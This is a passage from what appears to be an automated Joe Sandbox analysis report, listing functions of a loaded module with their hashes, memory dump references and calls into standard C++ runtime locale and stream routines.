                                                                                              • Opcode ID: 3f659bbb3b7645f10d42ffae3dad1ede68ed205f05ec9a0dc3efd3e61305309c
                                                                                              • Instruction ID: 72a4309ace40979d66018c0fe936959e61fa38f9a377f47907e4716d92325c47
                                                                                              • Opcode Fuzzy Hash: 3f659bbb3b7645f10d42ffae3dad1ede68ed205f05ec9a0dc3efd3e61305309c
                                                                                              • Instruction Fuzzy Hash: 52F0ED74A002048BCB10EFD0C421BCDB7F4AF04B49F30885DE005A7B40CB78AB8ACB91
                                                                                              Function 6CF03AF0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CF03AF7
                                                                                              • ?imbue@ios_base@std@@QAE?AVlocale@2@ABV32@@Z.MSVCP140(?,?,?,?,?,0000000C), ref: 6CF03B0C
                                                                                                • Part of subcall function 6CEE44E0: __EH_prolog3.LIBCMT ref: 6CEE44E7
                                                                                                • Part of subcall function 6CEE44E0: std::locale::locale.LIBCPMT ref: 6CEE44F8
                                                                                                • Part of subcall function 6CEE44E0: std::ios_base::_Callfns.LIBCPMT(00000001,?,?,?,?,?,?,00000004), ref: 6CEE4517
                                                                                              • ?pubimbue@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAE?AVlocale@2@ABV32@@Z.MSVCP140(?,?,?,?,?,0000000C), ref: 6CF03B2A
                                                                                                • Part of subcall function 6CF036B0: __EH_prolog3.LIBCMT ref: 6CF036B7
                                                                                                • Part of subcall function 6CF036B0: std::locale::locale.LIBCPMT ref: 6CF036C8
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF03B32
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3$V32@@Vlocale@2@std::locale::locale$?imbue@ios_base@std@@?pubimbue@?$basic_streambuf@_CallfnsU?$char_traits@_W@std@@@std@@std::ios_base::_std::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 3686580818-0
                                                                                              • Opcode ID: 6f3b9c448111c7cb00f923db730885e7c6e74a4b6d4610e205a6e995958f12f1
                                                                                              • Instruction ID: 44e11d53f39e3a56f7911e68e7a44b9b80f8baece95eb23a1ff0aa1c74999777
                                                                                              • Opcode Fuzzy Hash: 6f3b9c448111c7cb00f923db730885e7c6e74a4b6d4610e205a6e995958f12f1
                                                                                              • Instruction Fuzzy Hash: 97F03035601209EBEF14EF90C821FEE7775BF0075DF108458E4116BA90C7759A5CEB44
                                                                                              Function 6CF03A70 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CF03A77
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000008), ref: 6CF03A80
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEED96D: __EH_prolog3.LIBCMT ref: 6CEED974
                                                                                                • Part of subcall function 6CEED96D: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEA4F,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEED97F
                                                                                                • Part of subcall function 6CEED96D: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEED997
                                                                                                • Part of subcall function 6CEED96D: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEED9FB
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF03A99
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 3655460422-0
                                                                                              • Opcode ID: 9ca14d89bb9f053132933874063aa3c95f0930e06632d4fe857a62d3f8bbaf6b
                                                                                              • Instruction ID: d5c76bf20c9f8d6291d610b44a13d40bbdfd7465846472bb9d781f430c9d2283
                                                                                              • Opcode Fuzzy Hash: 9ca14d89bb9f053132933874063aa3c95f0930e06632d4fe857a62d3f8bbaf6b
                                                                                              • Instruction Fuzzy Hash: B5E06D39B002049BCF05EBF0C4209ED77726F88668F604549D4116B780EF358F49EB51
                                                                                              Function 6CEFF4F0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFF4F7
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6CED5578,00000038,6CEFEC37,00000000), ref: 6CEFF521
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ?_Init@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000038,6CEFEC37,00000000), ref: 6CEFF52C
                                                                                                • Part of subcall function 6CEF3C70: ?_W_Gettnames@_Locinfo@std@@QBE?AV_Timevec@2@XZ.MSVCP140(00000000,00000000,00000000,?,6CEF1631,00000000,00000038,6CEF9B9F,?,?,00000000,?,?,?,00000004), ref: 6CEF3C7E
                                                                                                • Part of subcall function 6CEF3C70: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,6CEF1631,00000000,00000038,6CEF9B9F,?,?,00000000,?,?,?,00000004), ref: 6CEF3C8E
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000038,6CEFEC37,00000000), ref: 6CEFF534
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGettnames@_Init@?$time_put@_Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowTimevec@2@U?$char_traits@_V12@V12@@V?$ostreambuf_iterator@_W@std@@@std@@@std@@_lock_localesstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 644799502-0
                                                                                              • Opcode ID: 2253252990a3f132c4116c834a157c33155a2e5f8a3ad71af22f374776b26062
                                                                                              • Instruction ID: 09adc0bebe888c171022022170dae8f49bf352b4065e02458501f1ccc5e68578
                                                                                              • Opcode Fuzzy Hash: 2253252990a3f132c4116c834a157c33155a2e5f8a3ad71af22f374776b26062
                                                                                              • Instruction Fuzzy Hash: F4F0ED70A102048BDB00DFD0C421BCDB7F4AF04748F60889DA005A7B40CB78AB8ACBA0
                                                                                              Function 6CEE3CD0 Relevance: 6.0, APIs: 4, Instructions: 22COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEE3CD7
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6CED5578,00000038), ref: 6CEE3CF9
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ctype.LIBCPMT(?,00000038), ref: 6CEE3D08
                                                                                                • Part of subcall function 6CEE38F0: _Getctype.MSVCP140(?,?,?,00000000,?,?,6CEE3839,?,00000004,6CEE38A1,00000000,00000000,0000003C,6CEEE0B3,00000001), ref: 6CEE38FF
                                                                                                • Part of subcall function 6CEE38F0: _Getcvt.MSVCP140(?,?,?,?,00000000,?,?,6CEE3839,?,00000004,6CEE38A1,00000000,00000000,0000003C,6CEEE0B3,00000001), ref: 6CEE3911
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000038), ref: 6CEE3D10
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetctypeGetcvtLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesctypestd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 4148237857-0
                                                                                              • Opcode ID: 258d4e937874538305b02c2d8bbef82e166af2bff4c5de5fe731e0dacbb8c353
                                                                                              • Instruction ID: 56282c1ba5e130132ae76398eaf77c27f6ecdcf142d0179be2a8bc426d86fad1
                                                                                              • Opcode Fuzzy Hash: 258d4e937874538305b02c2d8bbef82e166af2bff4c5de5fe731e0dacbb8c353
                                                                                              • Instruction Fuzzy Hash: 1EE09271A112088BCB01EFD4C552ACCB7B8AF18748F60449DA041A7B80DB74EB4EC791
                                                                                              Function 6CEEDF80 Relevance: 6.0, APIs: 4, Instructions: 22COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEEDF87
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000008,6CEEDF4E,00000020,?,?,?,?,?,?,?,?,6CEEDE0D,?,?), ref: 6CEEDF90
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEEE064: __EH_prolog3.LIBCMT ref: 6CEEE06B
                                                                                                • Part of subcall function 6CEEE064: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE56F,00000010,?,?,00000000), ref: 6CEEE076
                                                                                                • Part of subcall function 6CEEE064: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6CEEE08E
                                                                                                • Part of subcall function 6CEEE064: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6CEEE0F2
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEEDFA9
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 3655460422-0
                                                                                              • Opcode ID: 6c5d2f3e84adfea0163bccb49ab2280974a3559caf7c57bc25d69438031eb2dd
                                                                                              • Instruction ID: 1cccbed06d79b681ff15c1cea2a6f5a68dd26ca825bfae0745e223086c395857
                                                                                              • Opcode Fuzzy Hash: 6c5d2f3e84adfea0163bccb49ab2280974a3559caf7c57bc25d69438031eb2dd
                                                                                              • Instruction Fuzzy Hash: 7DE09A34B002048BCF04EBF0C420AED77726F88668F60454CC4016BBC0EF348F0AAB91
                                                                                              Function 6CEED860 Relevance: 6.0, APIs: 4, Instructions: 22COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEED867
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000008,6CEED7FE,00000020,?,?,?,?,?,?,?,?,6CEED26D,?,?), ref: 6CEED870
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEED96D: __EH_prolog3.LIBCMT ref: 6CEED974
                                                                                                • Part of subcall function 6CEED96D: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEA4F,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEED97F
                                                                                                • Part of subcall function 6CEED96D: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEED997
                                                                                                • Part of subcall function 6CEED96D: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEED9FB
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEED889
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 3655460422-0
                                                                                              • Opcode ID: c93141f4bf196118b190f5baeff46bb1026cdb4d88bda6dcbf0ab0d1e8a1d621
                                                                                              • Instruction ID: 87ebccdb5b71bfe3fda759f87b5ab2cad12a96e83e0204e6bf3c16245eadda8b
                                                                                              • Opcode Fuzzy Hash: c93141f4bf196118b190f5baeff46bb1026cdb4d88bda6dcbf0ab0d1e8a1d621
                                                                                              • Instruction Fuzzy Hash: 3DE06538B002048BCB04EBF0C420AED77B26F88668F604549C4116B780EF348B0AAB91
                                                                                              Function 6CEFFBC0 Relevance: 6.0, APIs: 4, Instructions: 22COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFFBC7
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6CED5578,00000038,6CEFEA57,00000000), ref: 6CEFFBE9
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ?_Init@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000038,6CEFEA57,00000000), ref: 6CEFFBF8
                                                                                                • Part of subcall function 6CEFC3D0: __EH_prolog3_catch.LIBCMT ref: 6CEFC3D7
                                                                                                • Part of subcall function 6CEFC3D0: _Getcvt.MSVCP140(?,00000034,6CEFB839,?,00000004,6CEFB7F1,00000000,00000000,0000003C,6CEFD869,?,?,00000000,?,?,?), ref: 6CEFC3F3
                                                                                                • Part of subcall function 6CEFC3D0: ?_Getdays@_Locinfo@std@@QBEPBDXZ.MSVCP140(0000000B,00000034,6CEFB839,?,00000004,6CEFB7F1,00000000,00000000,0000003C,6CEFD869,?,?,00000000,?,?,?), ref: 6CEFC407
                                                                                                • Part of subcall function 6CEFC3D0: ?_Getmonths@_Locinfo@std@@QBEPBDXZ.MSVCP140(0000000B,00000034,6CEFB839,?,00000004,6CEFB7F1,00000000,00000000,0000003C,6CEFD869,?,?,00000000,?,?,?), ref: 6CEFC41B
                                                                                                • Part of subcall function 6CEFC3D0: _Getdateorder.MSVCP140(00000034,6CEFB839,?,00000004,6CEFB7F1,00000000,00000000,0000003C,6CEFD869,?,?,00000000,?,?,?,00000004), ref: 6CEFC43A
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000038,6CEFEA57,00000000), ref: 6CEFFC00
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Locinfo@std@@free$H_prolog3$??0_??1_D@std@@@std@@@std@@ExceptionGetcvtGetdateorderGetdays@_Getmonths@_H_prolog3_catchInit@?$time_get@Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowU?$char_traits@V12@V12@@V?$istreambuf_iterator@_lock_localesstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 4075780567-0
                                                                                              • Opcode ID: 4202e4f760d5c597472eadf499a36d8bc27d2b377cddab09936366de1c8ef482
                                                                                              • Instruction ID: 0b34f699292821e8e303221af97a9cc07e3c3dcfd9ac9d8e160b96992e40711d
                                                                                              • Opcode Fuzzy Hash: 4202e4f760d5c597472eadf499a36d8bc27d2b377cddab09936366de1c8ef482
                                                                                              • Instruction Fuzzy Hash: 41E09271A112088BCB01EFD4C551ACDB7B8AF18B48F60449DE041A7B40DBB4AB4EC791
                                                                                              Function 6CEFFB70 Relevance: 6.0, APIs: 4, Instructions: 22COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFFB77
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(?,00000038), ref: 6CEFFB97
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ?_Init@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000038), ref: 6CEFFBA6
                                                                                                • Part of subcall function 6CEFC3D0: __EH_prolog3_catch.LIBCMT ref: 6CEFC3D7
                                                                                                • Part of subcall function 6CEFC3D0: _Getcvt.MSVCP140(?,00000034,6CEFB839,?,00000004,6CEFB7F1,00000000,00000000,0000003C,6CEFD869,?,?,00000000,?,?,?), ref: 6CEFC3F3
                                                                                                • Part of subcall function 6CEFC3D0: ?_Getdays@_Locinfo@std@@QBEPBDXZ.MSVCP140(0000000B,00000034,6CEFB839,?,00000004,6CEFB7F1,00000000,00000000,0000003C,6CEFD869,?,?,00000000,?,?,?), ref: 6CEFC407
                                                                                                • Part of subcall function 6CEFC3D0: ?_Getmonths@_Locinfo@std@@QBEPBDXZ.MSVCP140(0000000B,00000034,6CEFB839,?,00000004,6CEFB7F1,00000000,00000000,0000003C,6CEFD869,?,?,00000000,?,?,?), ref: 6CEFC41B
                                                                                                • Part of subcall function 6CEFC3D0: _Getdateorder.MSVCP140(00000034,6CEFB839,?,00000004,6CEFB7F1,00000000,00000000,0000003C,6CEFD869,?,?,00000000,?,?,?,00000004), ref: 6CEFC43A
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000038), ref: 6CEFFBAE
